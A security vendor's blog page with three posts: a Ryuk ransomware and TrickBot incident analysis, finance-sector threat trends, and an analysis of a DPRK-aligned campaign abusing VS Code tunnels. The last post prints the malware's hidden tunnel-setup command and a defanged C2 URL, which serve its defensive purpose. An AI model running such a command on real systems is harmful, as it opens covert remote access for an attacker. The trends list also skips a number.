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October 1, 2019

Ryuk Ransomware Targeting Major Companies | Expert Analysis

Discover how Ryuk ransomware targets major companies with AI-powered tools to detect unusual activity. Learn the threats behind Autonomous Response technology.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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01
Oct 2019

In recent years, cyber-criminals have increasingly directed their efforts toward sophisticated, long-haul attacks against major companies — a tactic known as “big game hunting.” Unlike standardized phishing campaigns that aim to deliver malware en masse, big game hunting involves exploiting the particular vulnerabilities of a single, high-value target. Catching such attacks requires AI-powered tools that learn what’s normal for each unique user and device, thereby shining a light on the subtle signs of unusual activity that they introduce.

In the threat detailed below, cyber-criminals targeted a major firm with Ryuk ransomware, which Darktrace observed during a trial deployment period. Leveraged very often in the final stage of such tailored attacks, Ryuk encrypts only crucial assets in each targeted environment that the attackers have handpicked. Here’s how this particular incident unfolded, as well as how AI Autonomous Response technology, if in active mode, would have contained the threat in seconds:

Incident overview

Figure 1: Clustering of alerts during intrusion (top right)

Rooted in its evolving understanding of ‘self’ for the targeted firm, Darktrace AI flagged myriad instances of anomalous behavior over the course of the incident — each represented by a dot in the visualization above. The anomalous activity is organized vertically according to how unusual each behavior was in comparison to “normal” for the users and devices involved. The colored dots represent particularly high-confidence detections, which should have prompted immediate investigation by the security team.

Compromised admin keys

The first sign of attack was the highly unusual use of an administrator account not previously seen on the network, suggesting that the attackers had gained access to the account outside the limited scope of the Darktrace trial before moving laterally to the monitored environments. Had Darktrace been deployed across the digital infrastructure, the initial hijacking of the account would have been obvious right away. Nevertheless, Darktrace alerted on the anomalous admin session repeatedly and in real time, as shown below:

Figure 2: Strong detections of compromised admin credential

This behavior is typical of big game hunting. Rather than firing their payload straight away upon accessing the network, the attackers engaged in a longer-term compromise to attain the best position for a crippling attack.

Infiltration via TrickBot

Darktrace then detected the infamous TrickBot banking trojan being downloaded onto the network. While the attacker already had access via the compromised admin credentials, Trickbot was used as a loader for further malicious files and as an additional command & control (C&C) channel. Among the most common post-exploitation steps were:

Figure 3: Detection of later-stage Trickbot download

Command & Control communication

Once the Trickbot infection had begun, Darktrace observed C&C communication back to the attackers. And whereas many devices exhibited anomalous behavior, Darktrace pinpointed one such device at the nexus of the infection. The below image illustrates the plethora of suspicious connections detected on this single device:

Figure 4: Every coloured dot represents a Darktrace detection — very obvious chains of malicious activity is seen above

Using TLS Fingerprinting — also called JA3, the subject of a previous blog post — Darktrace detected a new piece of software making encrypted connections from this device to multiple unusual destinations, a behavior known as beaconing.

Figure 5: The communication in this graph is filtered down to unusual TLS connections — clearly showing a spike in communication during the compromise

Ransomware encryption commences

Following the establishment of the connection with the C&C infrastructure, the Ryuk ransomware was finally deployed. During this “noisy” period with many suspicious SMB activities, Darktrace even more clearly indicated the seriousness and extent of the attack:

Figure 6: A sample of different, non-signature dependant Ransomware detections that fired

In just 12 hours, Ryuk had encrypted more than 200,000 files. The entire incident took place over 36 hours — after that, the company shut down its network to prevent further damage.

Ransomware retrospective

Following the incident, the business traced the initial compromise back to a part of their network in another country that Darktrace did not have visibility over during this trial period. The infection spread until it reached a recently installed file server that Darktrace was, in fact, monitoring. The attacker likely got access to an administrative account that had been used to build this server and, at that point, they had the access needed to fire the Ryuk ransomware.

This incident put Darktrace in the unique position of observing a ransomware attack wherein none of the alerts were seen or actioned by the internal IT team, demonstrating what such an attack can do absent any intervention and response. Had the company actively monitored its Darktrace deployment, the security team would have received and actioned the alerts in real time, as its thousands of users do on a daily basis.

Autonomous Response to the rescue

Had the firm deployed Autonomous Response technology, the lack of attention afforded to Darktrace’s alerts would not have mattered. Whereas four hours passed from the executable download to the first encrypted file, Autonomous Response would have neutralized the threat within seconds, preventing widespread damage and giving the security team the crucial time to catch up.

The screenshot below shows an excerpt of Darktrace’s detections at the beginning of the file server compromise. The detections are listed in chronological order from bottom to top, along with the action that Darktrace’s AI Autonomous Response tool, Antigena, would have taken:

In sum, Antigena would have taken appropriate action by enforcing normal behavior, rather than applying a binary block (e.g. completely quarantining the device) as legacy tools would.

To learn how Antigena neutralizes threats without interrupting normal business operations, check out our in-depth white paper: The Evolution of Autonomous Response: Fighting Back in a New Era of Cyber-Threat.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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